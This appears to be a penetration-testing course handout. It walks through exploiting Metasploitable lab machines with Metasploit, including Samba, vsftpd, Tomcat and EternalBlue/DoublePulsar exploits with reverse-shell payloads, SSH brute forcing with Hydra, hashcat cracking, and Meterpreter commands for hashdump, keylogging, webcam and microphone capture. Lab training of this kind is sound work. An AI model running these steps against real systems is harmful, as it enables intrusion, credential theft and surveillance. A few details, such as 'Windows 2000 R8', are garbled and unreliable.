Exploitation & Gaining Access

Phase 1: Reconnaissance and Information Gathering

- **Information gathering (reconnaissance):** Initial penetration testing step involving collecting public information about the target.
- Goal: Identify vulnerabilities and formulate testing strategies.
- **Passive information gathering:** Collecting data without direct interaction, minimizing detection risk.
- **Open-Source Intelligence (OSINT):** Gathering information from publicly available sources.
    - Techniques: Web Scraping, Google Dorking, social media profiling.
    - Tools: host, nslookup, dig, whois, knockpy, netdiscover, traceroute, whatweb, theHarvester, sherlock, wfw00f, Google Dorking, OSINT framework.

Phase 2: Scanning and Vulnerability Analysis

- Objective: Discover open ports, services, OS, and versions.
- Purpose: Identify potential vulnerabilities and misconfigurations.
- **Active information gathering:** Direct interaction with the target.
- Important: Requires written permission from the system owner.
- Tools: nmap, searchsploit, nessus, OpenVAS, MSF.

Phase 3: Exploitation and Gaining Access

- Involves exploiting identified weaknesses to gain unauthorized access.
    - Exploiting known vulnerabilities.
    - Exploiting default configurations and stolen credentials.
    - Brute-forcing weak credentials.
    - Launching social engineering or phishing attacks.
- Tools: MSF, Exploit DB, Burp Suite, SQLmap, BeEF, Social Engineering Toolkit, Cobalt Strike, PowerSploit.
- Focus: Metasploit Framework.

Vulnerability, Malware, Exploit, Payload, and Shell Code

- **Vulnerability:** A weakness that could be exploited to compromise confidentiality, integrity, or availability (CIA Triad). Example: CVE-2017-0144 in Microsoft SMBv1.
- **Malware:** A self-contained executable designed to harm, steal, or disrupt a system. Example: WannaCry ransomware.
- **Exploit:** Code or technique that leverages a vulnerability to gain unauthorized access or execute arbitrary code. Requires an existing vulnerability. Example: EternalBlue.
- EternalBlue: Exploit used to spread WannaCry by exploiting a remote code execution vulnerability in Microsoft SMBv1.

Shellcode vs. Payload

| Feature | Shellcode | Payload | | ---------- | ---------- | ---------- | | Definition | Small,

standalone executable code | Code delivered via exploit to perform a specific action | | Purpose | Spawn a shell or execute commands | Data exfiltration, malware installation, etc. | | Complexity | Compact and self-contained | Can be complex | | Execution Context | Executed within a vulnerable application | Delivered to the target system through various means | | Types | Local and remote shellcode | Command execution, information gathering, RATs, downloaders, ransomwares, etc. |

Environment Setup

- Kali Linux (Attacker Machine)
- Metasploitable 2 (Linux based target)
- Metasploitable3 (Windows based target)

Exploitation & Gaining Access (Continued)

Recap of MSF and msfconsole

- **Metasploit Framework:** Provides tools for discovering and exploiting vulnerabilities.
- Kali Linux: MSF files are located in `/usr/share/metasploit-framework/`.
- Modules are located in `/usr/share/metasploit-framework/modules/`.
    - Includes: exploits, auxiliary, post, payloads, encoders, nops, and evasion.
- `msfconsole`: Primary interface for interacting with Metasploit.
- Previous Handout: Used `msfconsole` and auxiliary modules for scanning and vulnerability analysis.
- Current Focus: Exploit modules - scripts designed to exploit specific vulnerabilities.

msfconsole Commands

- `help`: Lists available commands.
- `banner`: Displays ASCII art and version information.
- `exit/quit`: Exits `msfconsole`.
- `show`: Displays modules (exploits, payloads, auxiliary, encoders).
- `search`: Narrows down module list.
- `info`: Provides information about a specific module.
- `use`: Changes context to a specific module.
- `show options`: Displays module parameters/options.
- `show advanced`: Displays advanced options.
- `show payloads`: Displays compatible payloads for an exploit.
- `show targets`: Displays supported OS targets.
- `set param value`: Sets a parameter value.
- `unset param`: Removes a parameter value. `unset all` removes all assigned variables.
- `setg RHOSTS <ip of M2>`: Sets a global parameter value for all modules.
- `run`: Executes the loaded module.

Exploiting Default configurations/Credentials/Info Disclosure

- Exploiting Banner of Telnet Service
  - Nmap: Scan target machine (Metasploitable2) for telnet service (port 23).
  - Telnet Login: `telnet <ip of M2>`.
  - Information Disclosure: Telnet banner displays login credentials (msfadmin/msfadmin). `/etc/issue.net` file on M2 contains banner information.
- Exploiting Banner of Apache Server
  - Nmap Output: Apache httpd 2.2.8 running on Metasploitable2 (port 80).
  - Browser: Accessing service via browser (http://10.0.2.7:80) reveals login information (msfadmin/msfadmin).
  - Command Line: `curl` can also be used.
- Exploiting Bind Shell
  - Nmap Output: Bindshell service running on Metasploitable2 (port 1524).
  - Netcat: Use `netcat` to connect to the bindshell.
    - `kali@kali $ nc <ip of M2> 1524`
    - Results in root access: `root@metasploitable# whoami`

Exploitation & Gaining Access (Continued)

Exploiting Vulnerable Samba 3.0.20 on Metasploitable2

- **Samba:** Re-implementation of SMB networking protocol for file/printer sharing.
- **SMB (Server Message Block):** Application layer protocol for shared access.
- **NetBIOS:** Mechanism for Windows resource sharing, ports 137, 138, 139.
  - Session service (NetBIOS-SSN): Connection-oriented communication.
  - Datagram distribution service (NetBIOS-DGM): Connectionless communication.
  - Name service (NetBIOS-NS): Name registration and resolution.
- Nmap Scan: Identify vulnerable services and versions on Metasploitable2.
- Auxiliary Module: Use `auxiliary/scanner/smb/smb_version` in `msfconsole` to determine exact Samba version.
- Vulnerability Verification:
  - Online Research: Google, Exploit-DB, CVE Details, Rapid7 Vulnerability & Exploit Database.
  - `searchsploit`: Kali Linux tool for local exploit searching.
  - `msfconsole search`: Search within `msfconsole`.
- Exploitation:
  - Module: `exploit/multi/samba/usermap_script`.
  - Payload (default): `cmd/unix/reverse_netcat`.
  - Configuration: Set `RHOSTS` (target IP). `LHOSTS` and `LPORT` automatically configured.
  - Execution: `run`.
  - Outcome: Gained root access.
- Payload Exploration:
  - Location: `/usr/share/Metasploit-framework/modules/payloads/`.
  - Categories: singles, stagers, stages.

    - Experiment: Test different payloads with the exploit, assess restrictions and outcomes.

Exploiting Vulnerable vsftpd 2.3.4 on Metasploitable2

- **FTP (File Transfer Protocol):** Standard protocol for file transfer, insecure due to plain text transmission.
- **VSFTPD:** Secure FTP server with SSL/TLS support and robust configuration.
- Nmap Scan: Identify FTP service on Metasploitable2.
- Version Detection: vsftpd 2.3.4 running on port 21.
- Vulnerability Assessment:
    - `searchsploit`: Check for known vulnerabilities.
    - Nmap Script: `nmap -p 21 --script vuln <ip of M2>`.
    - `msfconsole search`: Search for vsftpd exploits.
- Exploitation:
    - Module: `exploit/unix/ftp/vsftpd_234_backdoor` (exploits backdoor in vsftpd 2.3.4).
    - Payload (default): `cmd/unix/interact`.
    - Configuration: Set parameters.
    - Outcome: Gained root shell on the target machine.

Exploitation & Gaining Access (Continued)

Exploiting Apache 2.2.8 and PHP 5.2.4 on Metasploitable2

- Previous Step: `http_version` scan revealed Apache httpd 2.2.8 and PHP 5.2.4.
- Vulnerability Check: `searchsploit` used to find exploits.
    - `searchsploit apache 2.2.8`
    - `searchsploit apache 2.2.8 | grep php`
- Exploitation:
    - Module: `exploit/multi/http/php_cgi_arg_injection`.
    - Payload: Configured as `php/meterpreter/reverse_tcp` (initially).
    - Configuration: Set `RHOSTS` to target IP, optional payload setting.
    - Execution: `run`.
    - Outcome: Meterpreter session achieved (user `www-data`, not root).
- Meterpreter:
    - In-memory DLL injection attack payload.
    - Resides entirely in memory (no disk writes).
    - Interactive shell capabilities and more.

Launching a Brute Force Attack on SSH Service of Metasploitable2

- Service Discovery: OpenSSH 4.7p1 running on port 22.
- Vulnerability Scan: `nmap -p 22 --script vuln <ip of M2>` reveals no vulnerability.
- Exploitation Method: Brute force attack on SSH, assuming weak credentials.

- Password Attacks:
  - Goal: Recover passwords from stored password hashes.
  - Process: Hashes of entered passwords compared to stored hashes for authentication.
- Offline vs Online Password Attacks:
  - **Offline Password Attacks:**
    - Obtain password hashes (SAM, /etc/shadow).
    - Specialized software/hardware for accelerated cracking (GPUs).
    - Tools: hashcat, John the Ripper, Cain and Abel.
  - **Online Password Attacks:**
    - Real-time targeting of the authentication process (web forms).
    - Limitations: Lockouts, CAPTCHA, rate-limiting.
    - Tools: hydra, medusa.
    - Hybrid tool: Aircrack-ng (online/offline for WEP/WPA2).
- Common Password Cracking Techniques:
  - **Brute Force Attack:**
    - Attempts numerous username/password combinations.
    - Effective against default or weak passwords.
    - Vulnerable with short, easily guessed passwords.
  - **Dictionary Attack:**
    - Uses dictionary words with numbers/symbols.
    - Custom wordlists based on target information.
    - Public lists or Kali Linux internal lists.
  - **Rainbow Tables:**
    - Precomputed password hash lookup tables.
    - Ineffective against salted password hashing.
    - Salting: Random data added to hashing to prevent identical hashes.
  - **Man-In-The-Middle Attack (MitM):**
    - Interception of sensitive communications.
  - **Keyloggers:**
    - Spyware that records keystrokes.
    - Captures passwords and typing patterns.

Exploitation & Gaining Access (Continued)

Hands-on Practice in Offline Password Cracking using hashcat

- **hashcat:** Password-cracking tool for recovering/auditing hashed passwords.
  - Supports many hashing algorithms.
  - Used in cybersecurity and ethical hacking for password security testing.
- **John the Ripper:** Password cracker that combines several crackers.
  - Autodetects hash types.
  - Available for UNIX, Windows, and Linux.
  - Open-source version pre-installed with Kali.
- hashcat Example
  - MD5 hash in `hash.txt`.
    - `$ echo -n "arif" | openssl dgst -md5`
    - `$ echo "d53d757c0f838ea49fb46e09cbcc3cb1" > hash.txt`

- Wordlist in `wordlist.txt`.
  - `$ echo -e "hello\nmsfadmin\narif\nroot\nrauf" > wordlist.txt`
- Hashcat Commands
  - Dictionary attack: `$ hashcat -m 0 -a 0 hash.txt wordlist.txt`
  - Brute-force attack: `$ hashcat -m 0 -a 3 hash.txt ?a?a?a?a`
  - `-m`: Hash type (0=MD5, 100=SHA1).
  - `-a`: Attack mode (0=Dictionary, 3=Brute-force).
- **Potfile:** Cracked hashes and passwords saved in `~/.local/share/hashcat/hashcat.potfile`.

Hands-on Practice in Online Password Cracking using Hydra

- Hydra for SSH Cracking on M2
  - Username List: `usernames.txt`
    - `$ echo -e "admin\nroot\ntest123\nmsfadmin\nadmin123" > usernames.txt`
  - Password List: `passwords.txt`
    - `$ echo -e "helloworld\nmsfadmin\npassword123 " > passwords.txt`
  - Hydra Command: `$ hydra -L usernames.txt -P passwords.txt ssh://<ip of M2> -oHostKeyAlgorithms=+ssh-dss`
    - `-L`: Username list
    - `-P`: Password list

Hands-on Practice in Online Password Cracking using MSF

- Metasploitable2: Poor password security for system and database accounts.
  - `msfadmin:msfadmin`.
  - `postgres:postgres` (PostgreSQL).
  - `root` (MySQL, empty password).
  - `password` (VNC).
- MSF for SSH Brute Force
  - Username File: `usernames.txt`
  - Password File: `passwords.txt`
  - MSF Commands:
    - `msf6> search ssh_login`
    - `msf6> use auxiliary/scanner/ssh/ssh_login`
    - `msf6 auxiliary(scanner/ssh/ssh_login)> show options`
    - `msf6 auxiliary (scanner/ssh/ssh_login)> set RHOSTS <IP>`
    - `msf6 auxiliary (scanner/ssh/ssh_login)> set USER_FILE /home/kali/usernames.txt`

        - `msf6 auxiliary (scanner/ssh/ssh_login)> set PASS_FILE /home/kali/passwords.txt`
        - `msf6 auxiliary (scanner/ssh/ssh_login)> set BRUTEFORCE_SPEED 5`
        - `msf6 auxiliary (scanner/ssh/ssh_login)> set VERBOSE true`
        - `msf6 auxiliary (scanner/ssh/ssh_login)> run`
    - Session Management:
        - `msf6 auxiliary(scanner/ssh/ssh_login)> sessions`
        - `msf6 auxiliary (scanner/ssh/ssh_login)> sessions -i 2`

Exploiting Vulnerable Tomcat Service on Metasploitable2

- Previous Step: `tomcat_mgr` scan revealed Apache httpd 2.2.8 and PHP 5.2.4.
- Vulnerability Check: Use `searchsploit`
- MSF Exploitation
    - `msf6> use auxiliary/scanner/http/tomcat_mgr_login`
    - `msf6 auxiliary(scanner/http/tomcat_mgr_login)> set RHOSTS <IP of M2>`
    - `msf6 auxiliary(scanner/http/tomcat_mgr_login)> set RPORT 8180`
    - `msf6 auxiliary(scanner/http/tomcat_mgr_login)> set USERNAME tomcat`
    - `msf6 auxiliary(scanner/http/tomcat_mgr_login)> set PASSWORD tomcat`
    - `msf6 auxiliary(scanner/http/tomcat_mgr_login)> run`
    - Exploit Module: `exploit/multi/http/tomcat_mgr_deploy`
        - `msf6> use exploit/multi/http/tomcat_mgr_deploy`
        - `msf6 exploit(multi/http/tomcat_mgr_deploy)> show options/info`
        - `msf6 exploit(multi/http/tomcat_mgr_deploy)> set HttpPassword tomcat`
        - `msf6 exploit(multi/http/tomcat_mgr_deploy)> set HttpUsername tomcat`
        - `msf6 exploit(multi/http/tomcat_mgr_deploy)> set RHOSTS <M2>`
        - `msf6 exploit(multi/http/tomcat_mgr_deploy)> set RPORT 8180`
        - `msf6 exploit(multi/http/tomcat_mgr_deploy)> run`
        - Meterpreter shell as user tomcat55.
        - `meterpreter > getuid`
            - `Server username: tomcat55`
    - **Meterpreter:** In-memory DLL injection attack payload (no disk writes).

Exploitation & Gaining Access (Continued)

Further Exploration (Metasploitable2)

- UnrealIRCd (port 6667): Investigate and attempt exploitation.
- distccd (port 3632): Investigate and attempt exploitation.
- VNC (port 5900): Investigate and attempt exploitation.
- SMTP (port 25): Investigate and attempt exploitation.
- PostgreSQL (port 5432): Investigate and attempt exploitation.
- Telnet (port 23): Launch brute-force attack using methods previously used for SSH.

Attacking Windows (Metasploitable3)

- Objective: Exploit vulnerabilities in Metasploitable3 (Windows 2000 R8).
- Credentials: vagrant/vagrant.
- Exploitation Focus: NetBIOS/SMB using EternalBlue.

EternalBlue Exploit

- **EternalBlue:** NSA-developed exploit targeting SMB protocol vulnerability (CVE-2017-0144).
- Affected Systems: Wide range of Windows versions (XP to Server 2016).
- Purpose: Remote code execution via crafted packets to SMBv1 service.
- Mechanism: Exploits buffer overflow in SMBv1.
- Impact: Used in WannaCry ransomware attack.
- Mitigation: Microsoft patch MS17-010 (March 2017).
- Nmap Scan: Identify vulnerable services (including Microsoft Windows netbios-ssn).
    - **NetBIOS:** Windows resource sharing mechanism (ports 137, 138, 139).
    - Services: Session, datagram, name.
- MSF Search: `search eternalblue` to find relevant modules.
- Auxiliary Module: `auxiliary/scanner/smb/smb_ms17_010`
    - Determine if target (M3) is vulnerable.
    - Set `RHOST` and `run`.
    - Output indicates vulnerability (e.g., "likely vulnerable to MS17-010").
- Exploit Module: `exploit/windows/smb/ms17_010_eternalblue`
    - Set `RHOST` and `run`.
    - Achieve Meterpreter session with SYSTEM privileges.
    - `getuid`: Confirms "NT AUTHORITY\SYSTEM" access.

EternalBlue DoublePulsar

- **DoublePulsar:** Kernel-mode backdoor installed post-compromise (e.g., by EternalBlue).
- Purpose: Persistent access and payload execution.
- Mechanism: Memory injection, stealth operation, command listening.
- Impact: Deploy malware, maintain control.
- Mitigation: Patch underlying vulnerabilities (e.g., SMBv1).

- Installation:
  - **Wine:** Required to run DoublePulsar.
    - Install: `dpkg --add-architecture i386 && apt-get update && apt-get install wine32`
    - Verify installation by running a Windows application (e.g., python-2.7.14.msi using `wine msiexec /i python-2.7.14.msi`).
  - Download DoublePulsar:
    - `git clone https://github.com/w0rtw0rt/EternalBlue`
  - Copy files to Metasploit Framework:
    - `sudo cp eternalblue-doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb`
    - `sudo cp -r deps/ /usr/share/metasploit-framework/modules/exploits/windows/smb`
  - Copy files to user home directory:
    - `cp -r deps/ /home/kali`
    - `cp eternalblue-doublepulsar.rb /home/kali`

Exploitation & Gaining Access (Continued)

EternalBlue DoublePulsar (Continued)

- MSF Exploit: `exploit/windows/smb/eternalblue_doublepulsar`
  - Configuration:
    - `RHOSTS`: Target IP (M3).
    - `TARGETARCHITECTURE`: `x64`.
    - `payload`: `windows/x64/meterpreter/reverse_tcp`.
    - `PROCESSINJECT`: `lsass.exe`.
    - `DOUBLEPULSARPATH`: `/home/kali/EternalBlue/Eternalblue-Doublepulsar-Metasploit/deps/`.
    - `ETERNALBLUEPATH`: `/home/kali/EternalBlue/Eternalblue-Doublepulsar-Metasploit/deps/`.
    - `WINEPATH`: `/root/.wine/drive_c/`.
  - Execution: `run`.
  - Outcome: Meterpreter shell.
- DoublePulsar: Non-persistent, in-memory backdoor.
  - Regaining Access After Reboot:
    - Re-exploit using EternalBlue.
    - Deploy persistent payload (e.g., writing to disk).

What is Meterpreter?

- **Meterpreter:** Metasploit attack payload.
  - Deployed using in-memory DLL injection.
  - Resides entirely in memory (no disk writes).
  - Interactive shell with extended capabilities.

- Characteristics:
  - **Stealthy:**
    - In-memory residence.
    - No new processes created.
    - Encrypted communications (default).
    - Limited forensic evidence.
  - **Powerful:**
    - Channelized communication system.
    - TLV protocol.
  - **Extensible:**
    - Runtime feature augmentation.
    - Features loaded over network.
- Commands:
  - `help`: Meterpreter commands (core, filesystem, networking, system, webcam, audio, elevate).
  - `cd`: Change remote directory.
  - `pwd`: Display remote working directory.
  - `getlwd`: Display local working directory.
  - `ls`: List remote files.
  - `search -f autoexec.bat`: Locate files.
  - `cat file.txt`: Display file content.
  - `edit file.txt`: Open file (vim).
  - `hashdump`: Dump password hashes.
  - `sysinfo`: Display system information.
  - `download c:\\password.txt`: Download file.
  - `upload bd.exe c:\\win\\sys32`: Upload file.
  - `shell`: Open shell.
  - `execute -f calc -i -h`: Execute command.
  - `ps`: Display processes.
  - `kill <PID>`: Terminate process.
  - `reboot/shutdown`: Reboot/shutdown.
  - `screenshot`: Take screenshot.
  - `webcam_snap -i 1 -v false`: Webcam snapshot.
  - `record_mic -d 10`: Record voice.
  - `keyscan_start`: Start keylogger.
  - `keyscan_dump`: Save keys.
  - `keyscan_stop`: Stop keylogger.
  - `ipconfig`: Display network interfaces.
  - `arp`: Display ARP table.
  - `netstat`: Display network connections.
  - `background`: Background session.
  - `sessions -i <SID>`: Switch sessions.
  - `getuid`: Display user.
  - `getsystem`: Elevate privileges.